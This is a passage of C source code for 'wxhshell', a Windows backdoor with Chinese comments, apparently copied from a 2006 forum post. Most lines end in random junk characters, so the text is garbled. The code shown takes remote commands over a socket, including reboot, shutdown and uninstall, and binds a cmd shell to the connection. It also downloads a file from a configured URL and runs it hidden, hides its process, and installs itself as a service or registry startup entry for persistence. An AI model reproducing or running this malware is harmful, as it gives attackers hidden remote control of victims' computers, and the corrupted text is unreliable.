    switch(cmd[0]) { Ry~LhU:  
  7QFEQ}  
  // 帮助 ((q(Q9(F  
  case '?': { je% 12DM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =? aB@&  
    break; __npX_4%S  
  } #O ]IXo(5z  
  // 安装 (k45k/PAP  
  case 'i': { -6>rR{z  
    if(Install()) r&RSQHa)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Y |s^N  
    else = 0Sa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~`.%n7  
    break; |XZf:}q5:  
    } u9(AT>HxT  
  // 卸载 C(hg"_W ou  
  case 'r': { ; & +75n  
    if(Uninstall()) ?^p8]Va%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D._r@~o  
    else ks4 ,2f,2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SO"P3X  
    break; 1)ne-e  
    } #Xly5J  
  // 显示 wxhshell 所在路径 iDJ2dM}v  
  case 'p': { sJ=B:3jS0  
    char svExeFile[MAX_PATH]; (H^o8J   
    strcpy(svExeFile,"\n\r"); 6 [E"  
      strcat(svExeFile,ExeFile); V:18]:  
        send(wsh,svExeFile,strlen(svExeFile),0); SF7 Scd  
    break;  v<W++X7z  
    } ;<H2N0qJ(  
  // 重启 /.bwwj_;  
  case 'b': { I^=M>_ s4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "?-s Qn  
    if(Boot(REBOOT)) eH6cBX#P.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i9tM]/SP  
    else { L zC~>Uj  
    closesocket(wsh); Sq%R  
    ExitThread(0); vD t? N9  
    } *fZ'#C~x  
    break; g.Q ?Z{  
    } |1R @Jz`  
  // 关机 > { Q2S  
  case 'd': { 6yqp<D0SP)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'z/hj>B<  
    if(Boot(SHUTDOWN)) XlPy(>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&0NH=*^  
    else { >{Djx  
    closesocket(wsh); >E3OYa?G  
    ExitThread(0); *6DKU CA/  
    } VXp X#O  
    break; Vv]mME@  
    } |n;7fqK  
  // 获取shell 4<|]k?@  
  case 's': { 2z:9^a/]Na  
    CmdShell(wsh); `'`XB0vb  
    closesocket(wsh); \&fK8H1  
    ExitThread(0); R}FN6cH  
    break; X*@S j;|m  
  } 1|--Xnv  
  // 退出 sKtH4d5)  
  case 'x': { >b0}X)Z+U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RWYA`  
    CloseIt(wsh); I]58;|J  
    break; L 'y+^L|X  
    } %o>1$f]  
  // 离开 b.(^CYYQ  
  case 'q': { 7JbrIdDl|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =zdRoXBY[b  
    closesocket(wsh); A7se#"w  
    WSACleanup(); kmwFw>#  
    exit(1); ~Q5HM  
    break; Wp $\>  
        } *&s_u)b  
  } V! p;ME  
  } R4?/7  
ja2LXM  
  // 提示信息 .vg;K@{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,b{4GU$3  
} udMq>s;  
  } ~p&sd)  
uP.3(n[&  
  return; V.qB3 V$  
} %y'#@%kO:S  
WD<M U ]  
// shell模块句柄 ET4YoH>  
int CmdShell(SOCKET sock) S"*wP[d.9  
{ zKo,B/Ke4  
STARTUPINFO si; 6Y=)12T  
ZeroMemory(&si,sizeof(si)); i{.!1i:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HzV3O-Qz]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K7|BXGL8r8  
PROCESS_INFORMATION ProcessInfo; 6;Bqu5_Cj  
char cmdline[]="cmd"; %5b2vrg~*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5K0Isuu>>  
  return 0; 74_ji!  
} U:H*b{`TU  
1jR<H$aS  
// 自身启动模式 6v-h!1p{u  
int StartFromService(void) 0[^f9NZ>-  
{ YC{od5a  
typedef struct ] '..G-  
{ umY4tNe]$  
  DWORD ExitStatus; o}BaZ|iZ2  
  DWORD PebBaseAddress; /}Max@.`  
  DWORD AffinityMask; k# /_Zd  
  DWORD BasePriority; kjH0u$n  
  ULONG UniqueProcessId; rR xqV?>n!  
  ULONG InheritedFromUniqueProcessId; ebf0;1!  
}   PROCESS_BASIC_INFORMATION; ]`%cTdpLj  
C 7v 8  
PROCNTQSIP NtQueryInformationProcess; : 7'anj  
\O[Cae:^?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !^w+<p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ne%ckW?ks  
rLVS#M#&e>  
  HANDLE             hProcess; 8D-g%Aj-  
  PROCESS_BASIC_INFORMATION pbi; ."${.BPn~  
6H@=O 1W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =4G9ev 4  
  if(NULL == hInst ) return 0; Hc71 .rqS  
krgsmDi7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _15r!RZ:1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :2La,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I_Q'+d  
>Py=H+d!j  
  if (!NtQueryInformationProcess) return 0; 6 LC*X  
F[LBQI`zq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RX '( l  
  if(!hProcess) return 0; HA| YLj?|g  
y 2bZo'Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YDP<  
D+tn<\LF  
  CloseHandle(hProcess); 6:Ra3!V"v  
@X:P`?("^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IL\#!|>  
if(hProcess==NULL) return 0; {JMFCc[  
zUeS7\(l  
HMODULE hMod; wJip{  
char procName[255]; {{j?3O//  
unsigned long cbNeeded; Wcbb3N$+  
+PjH2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vV8}>  
0e&Vvl4DK  
  CloseHandle(hProcess); |dXmg13( -  
S~hNSw (-  
if(strstr(procName,"services")) return 1; // 以服务启动 DJhi>!xJ  
$Ad 5hkz  
  return 0; // 注册表启动 3eD#[jkAI;  
} rk `x81  
+h"RXwlBM  
// 主模块 .Gw;]s3  
int StartWxhshell(LPSTR lpCmdLine) 't]=ps  
{ ,JX/` 7y  
  SOCKET wsl; ygh*oVHO  
BOOL val=TRUE; M(xd:Fa?  
  int port=0; ;a2TONW   
  struct sockaddr_in door; 42mdak}\  
C*=#=.~~{  
  if(wscfg.ws_autoins) Install(); z>~Hc8*]3  
?Yxk1Y4ig)  
port=atoi(lpCmdLine); jT%k{"+>+?  
\f .ceh;!  
if(port<=0) port=wscfg.ws_port; bmFnsqo  
>J+hu;I5  
  WSADATA data; )=#QTiJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?J|~ G{yH  
k1W q$KCwG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %R(1^lFI$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0@vSl%I+  
  door.sin_family = AF_INET; r!'\$(m E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [;%qxAB/_  
  door.sin_port = htons(port); *s} dtJ  
5\lOZYHX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mJp)nF8r~  
closesocket(wsl); <GT&q <4w  
return 1; -:&qNY:Vp  
} /aP4'U8ov  
Y;G+jC8   
  if(listen(wsl,2) == INVALID_SOCKET) { N^H~VG&D(  
closesocket(wsl); ewN!7  
return 1; zQ&`|kS  
} })%WL;~  
  Wxhshell(wsl); a!vF;J-Zqa  
  WSACleanup(); ^h1EE=E"  
w|7<y8#qC  
return 0; L> > %  
>8\EdN59{  
} uDbz`VpK  
9v=5x[fE  
// 以NT服务方式启动 hKj"Lb9 ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z7lv |m&  
{ T_i]y4dg  
DWORD   status = 0; fo@ 2@  
  DWORD   specificError = 0xfffffff; |5^tp  
e4ym6q<6!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kO>F, M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V*U{q%p(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ey4%N`H-^  
  serviceStatus.dwWin32ExitCode     = 0; bVaydJ*  
  serviceStatus.dwServiceSpecificExitCode = 0; x8|sdZFxo  
  serviceStatus.dwCheckPoint       = 0; ju~js  
  serviceStatus.dwWaitHint       = 0; UsP1bh4  
\4zb9CxOZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2|8e7q:+*  
  if (hServiceStatusHandle==0) return; Hx5t![g2K!  
!Nua  
status = GetLastError(); <?zn k8|  
  if (status!=NO_ERROR) JI##l:,7r  
{ 9x$Kb7'F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V~([{  
    serviceStatus.dwCheckPoint       = 0; J0K25w  
    serviceStatus.dwWaitHint       = 0; I:?1(.kd2-  
    serviceStatus.dwWin32ExitCode     = status; w_4/::K*  
    serviceStatus.dwServiceSpecificExitCode = specificError; OFH!z{*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Vzp D 4  
    return; C{^U^>bU  
  } rXgU*3 RG  
&iYy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;iEr+  
  serviceStatus.dwCheckPoint       = 0; >..C^8 "  
  serviceStatus.dwWaitHint       = 0; 6d4)7PL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ) bRj'*  
} )4u6{-|A  
AT$eTZ]M  
// 处理NT服务事件,比如:启动、停止 Cp{ j+Ia  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MOp06  
{ fg}&=r  
switch(fdwControl) C 0@tMB7  
{ MhT.Zg\  
case SERVICE_CONTROL_STOP: ti%uyXfja  
  serviceStatus.dwWin32ExitCode = 0; P4H%pm{-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2g?O+'JD  
  serviceStatus.dwCheckPoint   = 0; 8y:c3jzP_  
  serviceStatus.dwWaitHint     = 0; 33/aYy  
  { c0}* $e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =GGt:3Kx-  
  } oVDqX=G  
  return; ?2LRMh")$  
case SERVICE_CONTROL_PAUSE: TX/Ng+v S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n_ORD@$]  
  break; n^kszIu~  
case SERVICE_CONTROL_CONTINUE: N!RkV\:X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U5_1-wV  
  break; eksYIQZ]  
case SERVICE_CONTROL_INTERROGATE: &\[3m^L  
  break; =XbOY[  
}; PH$fDbC8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $d:>(_p=A  
} 3"9'MDKH  
GP|G[  
// 标准应用程序主函数 ur*@TIvD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (`nn\)  
{ +T\c<lJ9  
B{`4"uEb$G  
// 获取操作系统版本 ea7l:(C  
OsIsNt=GetOsVer(); <S/`-/= 2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LY> -kz]  
7=V s1TVc  
  // 从命令行安装 ;}/@ar7s3  
  if(strpbrk(lpCmdLine,"iI")) Install(); KNH.4A  ,  
z^xrB$8 u  
  // 下载执行文件 cU`sA_f  
if(wscfg.ws_downexe) { =~7%R.U([e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ vWcQ6m  
  WinExec(wscfg.ws_filenam,SW_HIDE); gt~hUwL  
} _DlkTi5(w  
4|PNsHXt  
if(!OsIsNt) { %(72+B70R  
// 如果时win9x,隐藏进程并且设置为注册表启动 <0?h$hf4c  
HideProc(); 7J:zIC$u>  
StartWxhshell(lpCmdLine); @#wBK3Ut^  
} Tno[LP,  
else kaK0'l2%  
  if(StartFromService()) 7soiy A  
  // 以服务方式启动 9t`   
  StartServiceCtrlDispatcher(DispatchTable);  Xn<~ln  
else #:C?:RMS  
  // 普通方式启动 {OK+d#=  
  StartWxhshell(lpCmdLine); =Tdh]0  
5|I2  
return 0; e7fA-,DV  
}
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只看该作者 1 发表于: 2006-10-10
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